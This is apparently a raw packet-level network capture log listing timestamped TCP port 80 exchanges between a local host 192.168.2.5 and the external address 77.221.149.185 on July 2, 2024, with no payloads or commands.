Jul 2, 2024 22:52:28.604167938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604660034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604681015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604691029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604701042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604711056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604716063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604723930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604728937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604734898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604744911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604753971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604758024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604763031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604773045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604773998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604784012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604793072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604794025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604801893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604810953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604819059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604827881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604832888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604839087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604847908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604856968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604863882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604882956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604895115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.605473042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.605484009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.605515957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.699593067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.699605942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.699615955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.699659109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.699670076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.699678898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.699688911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.699702978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.699706078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.699733019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.700056076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.700099945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.700160980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.700171947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.700203896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.700248003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.700258017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.700267076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.700277090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.700294971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.700315952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.701070070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.701078892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.701087952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.701129913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.701204062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.701212883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.701222897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.701231956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.701240063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.701275110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702135086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702172995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702198982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702208996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702251911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702254057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702260971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702271938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702281952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702296019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702311993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702418089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702456951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702492952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702635050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702645063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702655077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702682972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702748060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702758074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702769041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702775955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702785015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702819109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702879906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702888012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702896118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702909946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702917099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702919006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702930927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702940941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.702946901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.702981949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703138113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703147888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703157902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703167915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703197002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703217983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703380108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703389883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703398943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703411102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703417063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703421116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703481913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703661919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703670025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703680038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703690052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703701019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703721046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703726053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703732014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703741074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703749895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703758955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703767061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.703777075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.703809023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704215050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704225063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704236984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704247952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704256058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704262018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704265118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704276085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704283953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704284906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704294920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704303980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704313993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704324007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704324961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704333067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704339981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704341888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704351902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704360962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704361916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704379082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704395056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704885960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704895020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704906940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704921961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704926968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704931974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704935074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704941988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704952002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704962969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.704971075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.704999924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705310106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705318928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705328941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705338001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705348015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705358028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705363035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705368042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705377102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705388069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705390930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705415010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705734015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705741882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705750942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705761909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705770016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705773115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705781937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705791950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705816984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705935955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705944061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705955029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705965042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705966949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705975056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705985069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.705993891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.705996037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706026077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.706046104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.706193924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706203938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706217051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706232071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706243038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706244946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.706263065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.706341028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706351995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.706374884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.757657051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.792897940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.792910099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.792920113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.792960882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.792982101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.792992115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793001890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793010950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793019056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793020964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793032885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793066025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793220997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793231010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793241024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793256044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793265104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793292046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793432951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793442011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793452024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793462992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793503046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793561935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793644905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793654919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793664932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793673992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793680906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793704987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793896914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793917894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793929100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793932915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793937922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793947935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793956995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793961048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793967009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793975115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793983936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.793991089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.793994904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794006109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794009924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794042110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794362068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794372082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794399977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794480085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794490099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794500113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794507980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794517994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794529915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794532061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794538975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794560909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794734955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794744968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794758081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794765949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794773102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794775009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794785976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794817924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794850111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794858932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794872046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794883013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794892073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794900894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794909000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794913054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794922113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794930935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794935942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794940948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.794955969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.794970036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.795553923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795564890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795574903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795584917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795594931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795604944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795604944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.795614958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795619011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.795624971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795634985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795644045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795650959 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.795654058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795665979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.795686007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.795902967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795945883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.795953989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795964003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.795995951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796068907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796077967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796087980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796097994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796111107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796133041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796283960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796293020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796303034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796312094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796328068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796336889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796348095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796348095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796358109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796367884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796377897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796387911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796387911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796420097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796436071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796931028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796941042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796950102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796960115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796969891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796977043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.796981096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.796989918 CEST	80	49712	77.221.149.185	192.168.2.5
